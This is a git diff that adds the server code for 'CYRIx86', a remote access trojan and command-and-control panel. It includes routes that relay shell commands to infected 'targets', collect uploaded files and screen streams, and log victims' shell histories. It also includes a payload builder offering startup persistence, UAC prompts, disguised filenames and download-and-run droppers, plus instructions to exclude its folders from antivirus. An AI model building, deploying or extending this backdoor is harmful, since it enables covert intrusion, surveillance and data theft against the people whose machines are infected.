ckeckOnlineTarget } = require("../utils/server-helpers") +const config = require("../utils/config") +const express = require("express") +const router = express.Router() +const fs = require("fs") +const path = require("path") + +router.route("/").get((req, res) => { + const token = req.cookies.token + + if (token == undefined) { + res.render("login") + return + } + + if (token != config.token) { + res.clearCookie("token").redirect("/") + return + } + + const data = [] + for (const id of fs.readdirSync(path.join(process.__dirname, "public", "uploads"))) { + data.push({ + id, + online: ckeckOnlineTarget(id) + }) + } + + res.render("index", { + data + }) +}).post((req, res) => { + const { username, password } = req.body + + if (config.username == username && config.password == password) { + res.cookie("token", config.token, { maxAge: 100000000 * 1000000 }) + } + + res.redirect("/") +}) + +router.get("/cyrix86", (req, res) => { + res.send("cyrix-OK") +}) + +// admin check +router.use(checkAdmin) + +router.get("/del-tar", (req, res) => { + const { id } = req.query + + try { + fs.rmSync(path.join(process.__dirname, 'public', 'uploads', id), { recursive: true }) + } catch (error) { console.log(error) } + + res.send("OK") +}) + + +router.get("/logout", (req, res) => { + res.clearCookie("token").redirect("/") +}) + +module.exports = router \ No newline at end of file diff --git a/router/panel.js b/router/panel.js new file mode 100644 index 0000000..0ce0dae --- /dev/null +++ b/router/panel.js @@ -0,0 +1,43 @@ +const express = require("express") +const fs = require("fs") +const router = express.Router() +const path = require("path") +const { ckeckOnlineTarget, base64Encoder } = require("../utils/server-helpers") + +router.route("/").get((req, res) => { + const { id } = req.query + + if (id == undefined || id.length == 0) { + res.send("ID NOT FOUND") + return + } + + const tarPath = path.join(process.__dirname, "public", "uploads", id) + if (!fs.existsSync(tarPath)) { + res.send("ID NOT FOUND") + return + } + + const cwd = path.join(process.__dirname, "public", "uploads", id, "cwd") + if (!fs.existsSync(cwd)) { + fs.writeFileSync(cwd, "CWD") + } + + const locationPath = fs.readFileSync(cwd, "utf-8") + res.render("panel", { + id, + locationPath, + online: ckeckOnlineTarget(id), + }) +}).post((req, res) => { + const { id } = req.query + + if (ckeckOnlineTarget(id)) { + IO.emit(`to-${id}`, base64Encoder(req.body)) + res.send("OK") + } else { + res.send({ type: "error", message: "target offline" }) + } +}) + +module.exports = router \ No newline at end of file diff --git a/router/tar.js b/router/tar.js new file mode 100644 index 0000000..4f71ed2 --- /dev/null +++ b/router/tar.js @@ -0,0 +1,105 @@ +const express = require("express") +const router = express.Router() +const path = require("path") +const { TARGETS, ckeckOnlineTarget, base64Decoder } = require("../utils/server-helpers") +const fs = require("fs") + +IO.on("connection", socket => { + socket.on("connected", encodedData => { + const data = base64Decoder(encodedData) + const tarPath = path.join(process.__dirname, "public", "uploads", data.id) + + if (ckeckOnlineTarget(data.id)) { // exit the client for extra connection + socket.disconnect(true) + } else { // new client connection + TARGETS[socket.id] = data.id + + if (!fs.existsSync(tarPath)) { + fs.mkdirSync(tarPath) + IO.emit('gl-msg', { title: "new target", value: `ID: ${data.id}
PANEL: goto` }) + } else { + IO.emit("conn-ping", data) + } + + saveCwd(data.id, data.cwd) + } + }) + + socket.on("to-server", encodedData => { + const data = base64Decoder(encodedData) + socket.broadcast.emit(`${data.id}-tar-data`, data) + + if (data.command == "cwd") saveCwd(data.id, data.value) + saveHistory(data.id, data) + }) + + socket.on("disconnect", () => { + const id = TARGETS[socket.id] + IO.emit("disconn-ping", id) + delete TARGETS[socket.id] + }) +}) + +router.post("/", (req, res) => { + const { id, command } = req.query + + if (req.files) { + const postFile = req.files.file + postFile.mv(path.join(process.__dirname, 'public', 'uploads', id, postFile.name), (err) => { + if (err) { + console.log(err) + IO.emit(`${id}-tar-data`, { + id, + command, + error: true, + value: `${postFile.name} fileupload error.` + }) + } else { + IO.emit(`${id}-tar-data`, { + id, + command, + error: false, + value: `/uploads/${id}/${postFile.name}` + }) + } + }) + } + + res.send("OK") +}) + +router.post("/to-stream", (req, res) => { + const data = req.body + try { + if (req.files) { + data.value = req.files.file.data.toString('base64') + IO.emit(`${data.id}-tar-stream`, data) + } + } catch (error) { } + + res.send("OK") +}) + + + +function saveCwd(id, cwd) { + const cwdPath = path.join(process.__dirname, "public", "uploads", id, "cwd") + if (!fs.existsSync(cwdPath)) { + fs.writeFileSync(cwdPath, "") + } + + fs.writeFileSync(cwdPath, cwd) +} + +function saveHistory(id, data) { + const historyFile = path.join(process.__dirname, "public", "uploads", id, "shell_history.txt") + if (!fs.existsSync(historyFile)) { + fs.writeFileSync(historyFile, "") + } + + fs.appendFile(historyFile, `\n[${data.command}]\n${data.value}`, (err) => { + if (err) console.log(err) + }) +} + +module.exports = router \ No newline at end of file diff --git a/scr/create.png b/scr/create.png new file mode 100644 index 0000000..e30786f Binary files /dev/null and b/scr/create.png differ diff --git a/scr/panel.png b/scr/panel.png new file mode 100644 index 0000000..91dbad6 Binary files /dev/null and b/scr/panel.png differ diff --git a/scr/ui.png b/scr/ui.png new file mode 100644 index 0000000..9425c49 Binary files /dev/null and b/scr/ui.png differ diff --git a/server.js b/server.js new file mode 100644 index 0000000..2e9384c --- /dev/null +++ b/server.js @@ -0,0 +1,39 @@ +process.__dirname = __dirname + +const { serverInit } = require("./utils/server-helpers") +const expressFileUpload = require("express-fileupload") +const cookieParser = require("cookie-parser") +const config = require("./utils/config") +const socketIo = require("socket.io") +const express = require("express") +const http = require("http") +const path = require("path") + +const app = express() +const server = http.createServer(app) +const io = new socketIo.Server(server) + +serverInit() +app.use(express.static(path.join(__dirname, "public"))) +app.use(express.urlencoded({ extended: false })) +app.set("views", path.join(__dirname, "views")) +app.set("view engine", "ejs") +app.use(expressFileUpload()) +app.use(cookieParser()) +app.use(express.json()) +global.IO = io + +// non checking +app.use("/tar", require("./router/tar")) + +// checking +app.use("/", require("./router")) +app.use("/fm", require("./router/fm")) +app.use("/panel", require("./router/panel")) +app.use("/create", require("./router/create")) + + +const PORT = process.env.PORT || config.port +server.listen(PORT, () => { + console.log(`RUNNING ON: http://localhost:${PORT}`) +}) \ No newline at end of file diff --git a/utils/DB.js b/utils/DB.js new file mode 100644 index 0000000..cf7e05e --- /dev/null +++ b/utils/DB.js @@ -0,0 +1,13 @@ +const { OctaviaDB } = require("octavia-db") +const path = require("path") + +const DB = new OctaviaDB({ + databaseName: path.join(process.__dirname, "ssd"), + databasePassword: "cyrix86", + logging: true +}) + + +module.exports = { + DB +} \ No newline at end of file diff --git a/utils/config.js b/utils/config.js new file mode 100644 index 0000000..b22d446 --- /dev/null +++ b/utils/config.js @@ -0,0 +1,6 @@ +module.exports = { + username: "admin", + password: "admin", + token: "ju,!AA9CzU+W8?VD.7(}$w5U3JF=Sk]@}2.r*a-tFxA:)}=]BQjd_R{g-z-N}Bx[iDvY*}8C{F}+-[}dKYH&0}When.b?}.:[yJ-", + port: 3415 +} \ No newline at end of file diff --git a/utils/payload-helpers.js b/utils/payload-helpers.js new file mode 100644 index 0000000..c52d8a8 --- /dev/null +++ b/utils/payload-helpers.js @@ -0,0 +1,38 @@ + +module.exports = { + randomString: function (len) { + let value = "" + let letters = "qwertyuiopasdfghjklzxcvbnm" + letters = letters + letters.toUpperCase() + + for (let i = 0; i < len; i++) { + value += letters[Math.floor(Math.random() * letters.length)] + } + + return value + }, + addOnCode: function (config) { + let value = "" + switch (config.deliver) { + case "1": + break; + case "2": + let mediaurl = config.mediaurl + let medianame = config.medianame + medianame = medianame.replaceAll(" ", "_") + value += `cd %TEMP% & (IF EXIST ${medianame} (start ${medianame}) ELSE (curl -s -A 1 ${mediaurl} -o ${medianame} & start ${medianame})) &` + break; + case "3": + let url = config.url + value += `start ${url} &` + break; + case "4": + let cmd = config.command + value += `cmd /C ${cmd} &` + break; + default: + break; + } + return value + } +} diff --git a/utils/server-helpers.js b/utils/server-helpers.js new file mode 100644 index 0000000..07641cf --- /dev/null +++ b/utils/server-helpers.js @@ -0,0 +1,72 @@ +const config = require("./config") +const path = require("path") +const fs = require("fs") +const os = require("os") + +const OBJ = { + serverInit: () => { + [ + "build", + "source" + ].forEach(folder => { + const folderPath = path.join(os.homedir(), "Documents", "cyrix86-build", folder) + if (!fs.existsSync(folderPath)) { + fs.mkdirSync( + folderPath, + { recursive: true } + ) + } + }); + + if (process.platform == "win32") { + const exclusionsFolders = [ + path.join(os.homedir(), "Documents", "cyrix86-build"), + path.join(process.__dirname, "payloads") + ] + console.log(`+==========================[ADD THIS FOLDER TO EXCLUSIONS]============================+`) + exclusionsFolders.forEach(folder => { + console.log(`[+] ${folder}`) + }) + console.log(`+=====================================================================================+`) + }; + + [ + "uploads", + "global" + ].forEach(folder => { + const folderPath = path.join(process.__dirname, "public", folder) + if (!fs.existsSync(folderPath)) { + fs.mkdirSync( + folderPath, + { recursive: true } + ) + } + }); + }, + constants: { + BUILDFOLDER: path.join(os.homedir(), "Documents", "cyrix86-build", "build"), + SOURCEFOLDER: path.join(os.homedir(), "Documents", "cyrix86-build", "source") + }, + checkAdmin: (req, res, next) => { + const token = req.cookies.token + if (token == config.token) { + next() + } else { + res.redirect("/") + } + }, + TARGETS: {}, + ckeckOnlineTarget: function (id) { + for (let tar of Object.values(OBJ.TARGETS)) { + if (tar == id) return true + } + }, + base64Decoder: (data) => { + return JSON.parse(atob(data)) + }, + base64Encoder: (data) => { + return btoa(JSON.stringify(data)) + } +} + +module.exports = OBJ \ No newline at end of file diff --git a/views/bg.ejs b/views/bg.ejs new file mode 100644 index 0000000..4e66dc6 --- /dev/null +++ b/views/bg.ejs @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/views/create.ejs b/views/create.ejs new file mode 100644 index 0000000..a374aa9 --- /dev/null +++ b/views/create.ejs @@ -0,0 +1,163 @@ + + + + + + + CREATE - CYRIx86 + + + + + + + + + + + <%- include("bg") %> + +
+
+
+

+

CYRIx86

+ -by madhanmaaz +

+
+ +
+

PAYLOAD BUILDER

+
+ +
+ + + + + +
+
+ +
+
+ The new Target connection will take time to connect. 25s to 1:40s depend on device hardware. +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+

do nothing on open.

+
+
+ +
+
+
+ + +
+

PAYLOAD BUILDER - HELP MENU

+
PAYLOADS    - select payload
+                Ex: c, c++, go, vbs...etc
+
ORIGIN      - uri of the cyrix86 server [http/https] only
+                Ex: http://localhost:10310
+                    https://cyrix86.com
+                    http://localhost:8080
+                    http://localhost
+                    https://payload.com:443
+                    https://localhostrun.com
+                    http://cloudflared.try.com
+                    https://ngrok-id.com
+ +
STARTUP     - set the payload on startup
+                Ex: true
+                    false
+ +
REQUEST UAC - request for user access control
+                Ex: true
+                    false
+ +
FILENAME    - build output filename
+                Ex: test_setup
+                    car-wallpaper-hd
+                    desktop-wallpaper-4k.jpeg
+                    visual_studio_code_setup.exe
+                    new_song.mp3
+                    full_video.mp4
+ +
ADDONS      - embed with media, url...etc
+                Ex: NOTHING
+                    -
+    
+                Ex: MEDIA
+                    url: https://wallpapercave.com/wp/wp13303651.jpg | filename: wallpaper.jpg
+                    url: https://ms.com/dbazure/download/stable/setup.exe | filename: visual_studio_code_setup.exe
+                    url: http://audio.com/music.mp3 | filename: new_song.mp3
+                    url: http://video.com/video.mp4 | filename: video_file.mp4
+    
+                Ex: URL
+                    https://google.com
+                    https://facebook.com
+                    https://visualstudio.microsoft.com
+                    https://wallpapercave.com
+                
+                Ex: CMD COMMANDS
+                    start notepad
+                    start chrome
+                    start control
+                    start explorer
+                    start calc
+                    
+
+ + + \ No newline at end of file diff --git a/views/fm.ejs b/views/fm.ejs new file mode 100644 index 0000000..2aa3380 --- /dev/null +++ b/views/fm.ejs @@ -0,0 +1,126 @@ + + + + + + + Filemanager - CYRIx86 + + + + + + + + + + + <%- include("bg") %> + +
+
+
+

+

CYRIx86

+ -by madhanmaaz +

+
+ +
+

<%- id %> - Filemanager

+
+ +
+ <% if(id=="global" ) { %> +
+ +
+ + <% } %> + + + +
+
+ +
+ <% for(let file of globalFiles){ %> +
+

<%- file %>

+
+ + <% if(id=="global" ) { %> + + <% } %> +
+
+ <% } %> + + <% for(let file of tarFiles){ %> +
+

<%- file %>

+
+ + + +
+
+ <% } %> +
+
+ + + + + \ No newline at end of file diff --git a/views/index.ejs b/views/index.ejs new file mode 100644 index 0000000..c4885a8 --- /dev/null +++ b/views/index.ejs @@ -0,0 +1,136 @@ + + + + + + + Dashboard - CYRIx86 + + + + + + + + + + <%- include("bg") %> + +
+
+
+

+

CYRIx86

+ -by madhanmaaz +

+
+ +
+

TARGETS <%- data.length %>

+
+ + +
+ +
+ <%for (const target of data) { %> +
+

<%- target.id %>

+ <% if (target.online) { %> + + <% } else { %> + + <% } %> + +
+ <% } %> +
+
+ + + + + \ No newline at end of file diff --git a/views/login.ejs b/views/login.ejs new file mode 100644 index 0000000..0f2b56e --- /dev/null +++ b/views/login.ejs @@ -0,0 +1,47 @@ + + + + + + + LOGIN - CYRIx86 + + + + + + <%- include("bg") %> +
+

LOGIN

+ + + +
+ + + \ No newline at end of file diff --git a/views/panel.ejs b/views/panel.ejs new file mode 100644 index 0000000..63dc05d --- /dev/null +++ b/views/panel.ejs @@ -0,0 +1,391 @@ + + + + + + + <%- id %> | PANEL - CYRIx86 + + + + + + + + + + + + + +
+
+

+

CYRIx86

+ -by madhanmaaz +

+ + + + + + + + + + + + + + + + + + + + + +
+ +
+
+

cmd

+ +
+ + STATUS + <% if (online){ %> + + <%} else { %> + + <% } %> + + + +
+
+ +
+
+ +
+ [CMD]-<<%- locationPath %>>-> + +
+
+ +
+ +
+ [PS]-<<%- locationPath %>>-> + +
+
+ +
+ + +
+ + +
+ +
+ +
+ +
+ + +
+ + +
+ +
+ +
+ + +
+ +
+ +
+ +
+ +
+ +
+ + +
+ +
+ +
+ +
+ +
+ + +
+ + +
+ +
+ +
+ +
+ +
+ + +
+ +
+ +
+ +
+ + +
+ + +
+
+ + +
+ +
+ +
+ + +
+ + +
+ +
+ +
+ + +
+ + +
+
+ + +
+
+ + +
+ +
+ +
+ + +
+ + +
+
+ + +
+
+ + +
+
+ + +
+ +
+ +
+ +
+ + +
+ +
+ +
+ + + +
+ +
+ + +
+ + +
+ +
+ +
+ + +

This will set the payload on system startup. remember use static origin.

+
+ + +
+ +
+ +
+ + +

This will quit the backdoor.

+
+ + +
+ +
+
+ +
+
+
+
+
+

FRAME: 0

+ +
+
+

FRAME: 0

+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + \ No newline at end of file